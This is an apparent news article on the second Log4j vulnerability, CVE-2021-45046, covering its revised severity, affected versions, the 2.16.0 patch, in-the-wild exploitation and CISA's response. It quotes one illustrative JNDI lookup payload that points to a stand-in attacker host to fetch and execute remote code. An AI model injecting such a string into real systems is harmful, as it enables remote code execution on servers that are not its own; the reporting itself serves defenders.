Second Log4j Vulnerability (CVE-2021-45046) Discovered — New Patch Released

 

Description

Second Log4j Vulnerability

UPDATE — The severity score of CVE-2021-45046, originally classified as a DoS bug, has since been revised from 3.7 to 9.0, to reflect the fact that an attacker could abuse the vulnerability to send a specially crafted string that leads to “information leak and remote code execution in some environments and local code execution in all environments.”

The Apache Software Foundation (ASF) has pushed out a new fix for the Log4j logging utility after the previous patch for the recently disclosed Log4Shell exploit was deemed as “incomplete in certain non-default configurations.”

The second vulnerability — tracked as CVE-2021-45046 — is rated 3.7 out of a maximum of 10 on the CVSS rating system and affects all versions of Log4j from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0, which the project maintainers shipped last week to address a critical remote code execution vulnerability (CVE-2021-44228) that could be abused to infiltrate and take over systems.

The incomplete patch for CVE-2021-44228 could be abused to “craft malicious input data using a JNDI Lookup pattern resulting in a denial-of-service (DoS) attack,” the ASF said in a new advisory. The latest version of Log4j, 2.16.0 (for users requiring Java 8 or later), all but removes support for message lookups and disables JNDI by default, the component that’s at the heart of the vulnerability. Users requiring Java 7 are recommended to upgrade to Log4j release 2.12.2 when it becomes available.

“Dealing with CVE-2021-44228 has shown the JNDI has significant security issues,” Ralph Goers of the ASF explained. “While we have mitigated what we are aware of it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it.”

JNDI, short for Java Naming and Directory Interface, is a Java API that enables applications coded in the programming language to look up data and resources such as LDAP servers. Log4Shell is resident in the Log4j library, an open-source, Java-based logging framework commonly incorporated into Apache web servers.

The issue itself occurs when the JNDI component of the LDAP connector is leveraged to inject a malicious LDAP request — something like “${jndi:ldap://attacker_controled_website/payload_to_be_executed}” — that, when logged on a web server running the vulnerable version of the library, enables an adversary to retrieve a payload from a remote domain and execute it locally.

The latest update arrives as fallout from the flaw has resulted in a “true cyber pandemic,” what with several threat actors seizing on Log4Shell in ways that lay the groundwork for further attacks, including deploying coin miners, remote access trojans, and ransomware on susceptible machines. The opportunistic intrusions are said to have commenced at least since December 1, although the bug became common knowledge on December 9.

The security flaw has sparked widespread alarm because it exists in a near-ubiquitously used logging framework in Java applications, presenting bad actors with an unprecedented gateway to penetrate and compromise millions of devices across the world.

Spelling further trouble for organizations, the remotely exploitable flaw also impacts hundreds of major enterprise products from a number of companies such as Akamai, Amazon, Apache, Apereo, Atlassian, Broadcom, Cisco, Cloudera, ConnectWise, Debian, Docker, Fortinet, Google, IBM, Intel, Juniper Networks, Microsoft, Okta, Oracle, Red Hat, SolarWinds, SonicWall, Splunk, Ubuntu, VMware, Zscaler, and Zoho, posing a significant software supply chain risk.

“Unlike other major cyberattacks that involve one or a limited number of software, Log4j is basically embedded in every Java based product or web service. It is very difficult to manually remediate it,” Israeli security company Check Point said. “This vulnerability, because of the complexity in patching it and easiness to exploit, seems that it will stay with us for years to come, unless companies and services take immediate action to prevent the attacks on their products by implementing a protection.”

In the days after the bug was disclosed, at least ten different groups have jumped in on the exploit bandwagon and roughly 44% of corporate networks globally already have been under attack, marking a significant escalation of sorts. Furthermore, criminal gangs acting as access brokers have begun using the vulnerability to gain initial foothold into target networks and then sell the access to ransomware-as-a-service (RaaS) affiliates.

This also encompasses nation-state actors originating from China, Iran, North Korea, and Turkey, with Microsoft noting that the “activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment, and exploitation against targets to achieve the actor’s objectives.”

The large-scale weaponization of the remote code execution flaw has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add Log4Shell to its Known Exploited Vulnerabilities Catalog, giving federal agencies a deadline of December 24 to incorporate patches for the vulnerability and urging vendors to “immediately identify, mitigate, and patch affected products using Log4j.”

Sean Gallagher, a senior threat researcher at Sophos, warned that “adversaries are likely grabbing as much access to whatever they can get right now with the view to monetize and/or capitalize on it later on,” adding “there is a lull before the storm in terms of more nefarious activity from the Log4Shell vulnerability.”

“The most immediate priority for defenders is to reduce exposure by patching and mitigating all corners of their infrastructure and investigate exposed and potentially compromised systems. This vulnerability can be everywhere,” Gallagher added.

Post a Comment

Previous Post Next Post